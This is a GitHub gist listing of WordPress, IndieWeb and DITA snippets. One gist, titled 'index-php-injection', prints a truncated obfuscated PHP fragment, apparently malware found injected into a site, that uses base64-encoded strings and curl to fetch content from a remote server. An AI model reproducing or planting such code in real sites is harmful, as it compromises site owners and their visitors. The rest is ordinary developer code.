Skip to content

Instantly share code, notes, and snippets.

Avatar

Xavier Roy xavierroy

View GitHub Profile
@xavierroy
xavierroy / tagmoji-taxonomy.php
Created Aug 2, 2019
tagmojis as a WP taxonomy
View tagmoji-taxonomy.php
/* add tagmoji as a taxonomy */
if ( ! function_exists( 'tagmoji' ) ) {
// Register Custom Taxonomy
function tagmoji() {
$labels = array(
'name' => _x( 'Tagmoji', 'Taxonomy General Name', 'text_domain' ),
'singular_name' => _x( 'Tagmoji', 'Taxonomy Singular Name', 'text_domain' ),
'menu_name' => __( 'Tagmoji', 'text_domain' ),
View error log
18-Jun-2019 11:14:19 UTC] Micropub Input: {"type":["h-entry"],"properties":{"content":["test post"],"location":["geo:12.96877,80.24398;u=192"],"mp-slug":["test"]}}
[18-Jun-2019 11:14:19 UTC] PHP Notice: Undefined variable: return in /home/xavroy1/xavierroy.com/wp-content/plugins/wordpress-micropub/includes/class-micropub-endpoint.php on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /home/xavroy1/xavierroy.com/wp-content/plugins/wordpress-micropub/includes/class-micropub-endpoint.php on line 934
[18-Jun-2019 11:14:19 UTC] PHP Warning: require_once(/home/xavroy1/xavierroy.com/wp-content/plugins/indieweb-post-kinds-enhanced/includes/parse-this/includes/class-parse-this.php): failed to open stream: No such file or directory in /home/xavroy1/xavierroy.com/wp-content/plugins/indieweb-post-kinds-enhanced/includes/class-kind-plugins.php on line 103
[18-Jun-2019 11:14:19 UTC] PHP Fatal error: require_once(): Failed opening required '/home/xavroy1
@xavierroy
xavierroy / kind-listen.php
Last active Jul 31, 2018
This adds triple tags for audio posts. The file is indieweb-post-kinds/views/kind-listen.php. For this to work, you should have some tags available in the Tags section for your Post Kind metadata.
View kind-listen.php
<?php
/*
Listen Template
*
*/
$mf2_post = new MF2_Post( get_the_ID() );
$cite = $mf2_post->fetch();
if ( ! $cite ) {
return;
@xavierroy
xavierroy / gist:b5a2077bcdcfe395a6dc4d7449247e5b
Last active Jul 17, 2018
Fix for deprecated function in Search Everything plugin
View gist:b5a2077bcdcfe395a6dc4d7449247e5b
This is a replacement for the deprecated create_function() in search-everything.php of the Search Everything plugin.
//$search_terms = array_filter(array_map( create_function( '$a', 'return trim($a, "\\"\'\\n\\r ");' ), $matches[0] ));
$search_terms = array_filter(array_map( function($a) { return trim($a, "\\'\'\\n\\r ");}, $matches[0] ));
View index-php-injection
$id6fe1d0be634 = "/index/?2601510941471";
$z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode('cg=='));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode('ZG9tYWlu')]){$je617ef6974fa=base64_decode('aHR0cDovLw==').$v9b207167e538[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode('cnNydg==')]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_
View staticmap.txt
maps.google.com/maps/api/staticmap?&maptype=roads&zoom=6.5&scale=2&size=500x300&path=weight:2|geodesic:true|<list of locations
@xavierroy
xavierroy / shortcutkey.js
Created Feb 28, 2017
Script to attach a keypress to a javascript code
View shortcutkey.js
$(document).keypress(function(e)
{
if(e.charCode == 63) // 63 is for the ? key
{
// add js code here
}
}
);
View keybase.md

Keybase proof

I hereby claim:

  • I am xavierroy on github.
  • I am xavierroy (https://keybase.io/xavierroy) on keybase.
  • I have a public key whose fingerprint is D3BC 7F88 0F3E 8E74 5A06 50A7 7C86 E57A 9A7B 97C6

To claim this, I am signing this object:

View integrate.bat
@echo off
REM Created by Xavier Roy
REM This batch file runs the integrator script to add the new plugin(s) so that DITA can recognise them.
ant -f integrator.xml strict -verbose -l integrator.log
ECHO "NOTE: Plugins Integrated."
@xavierroy
xavierroy / build_template.xml
Created Oct 10, 2014
Template to create a build template
View build_template.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Change '<com.company.custpdf>' and 'custpdf' to suit your needs.
DITA uses the Java packaging naming structure that is domain related. (See http://docs.oracle.com/javase/tutorial/java/package/namingpkgs.html and http://stackoverflow.com/questions/2125293/java-packages-com-and-org)
Remember to use the same name for the transtype value specified in plugin.xml
-->
<project name="com.company.custpdf" default="dita2custpdf"> <!--Modify -->
You can’t perform that action at this time.